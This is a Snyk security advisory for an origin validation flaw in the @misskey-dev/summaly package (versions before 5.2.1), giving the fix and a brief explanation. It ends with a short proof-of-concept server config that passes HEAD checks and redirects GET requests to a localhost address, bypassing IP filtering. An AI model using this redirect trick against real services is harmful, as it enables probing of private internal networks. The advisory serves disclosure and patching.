Origin Validation Error Affecting @misskey-dev/summaly package, versions >=5.1.0 <5.2.1
Threat Intelligence
Exploit Maturity
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
Proof of Concept
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Test your applications- Snyk IDSNYK-JS-MISSKEYDEVSUMMALY-10350356
- published13 Jun 2025
- disclosed6 May 2025
- creditHazel K
Introduced: 6 May 2025
CVE NOT AVAILABLE CWE-346 (opens in a new tab)Common Weakness Enumeration (CWE) is a category system for software weaknesses
How to fix?
Upgrade @misskey-dev/summaly to version 5.2.1 or higher.
Overview
@misskey-dev/summaly is a Get web page's summary
Affected versions of this package are vulnerable to Origin Validation Error in got.scpaping. An attacker can probe a victim's internal network for HTTP services that aren't supposed to be exposed to the outside world by using an HTTP redirect to bypass IP filtering. This is only exploitable if the attacker can manipulate the HTTP HEAD and GET requests to redirect to a private IP address.
PoC
@summaly-bypass-head {
method HEAD
path /summaly-bypass
}
@summaly-bypass-get {
method GET
path /summaly-bypass
}
header @summaly-bypass-head Content-Type "text/html"
respond @summaly-bypass-head 200
redir @summaly-bypass-get http://127.0.0.1:3080/